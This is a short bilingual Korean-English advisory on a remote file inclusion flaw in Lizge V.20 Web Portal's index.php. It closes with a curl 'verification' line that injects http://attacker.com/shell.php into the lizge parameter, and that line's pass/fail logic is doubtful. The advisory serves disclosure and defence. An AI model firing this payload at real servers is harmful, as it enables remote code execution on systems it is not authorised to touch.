🇰🇷 한글 설명
Lizge V.20 Web Portal의 index.php에서 원격 파일 포함(RFI) 취약점이 발견되었습니다. 공격자가 lizge 또는 bade 파라미터에 악성 URL을 입력하면 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Lizge 웹사이트의 특정 입력 항목에 악의적인 링크를 넣으면 해커가 서버를 제어할 수 있게 됩니다. 이는 웹사이트의 사용자 데이터 탈취나 시스템 마비를 야기할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in index.php in Lizge V.20 Web Portal allow remote attackers to execute arbitrary PHP code via a URL in the (1) lizge or (2) bade parameters.
📍 영향받는 시스템
Lizge V.20 Web Portal
⚔️ 공격 벡터
HTTP 요청을 통해 index.php의 lizge 또는 bade 파라미터에 원격 파일 URL을 주입하여 PHP 코드 실행 유도
🛡️ 대응 방법
Lizge를 최신 버전으로 업그레이드하거나 입력값 검증·필터링을 적용하여 파일 포함 공격 차단
🔧 검증 코드
원격 파일이 포함되어 실행되면 출력이나 에러가 반환되며, 필터링이 있으면 오류 메시지가 표시됨
curl -s 'http://target/index.php?lizge=http://attacker.com/shell.php' 2>/dev/null | grep -E 'error|warning|output' || echo 'Potentially vulnerable'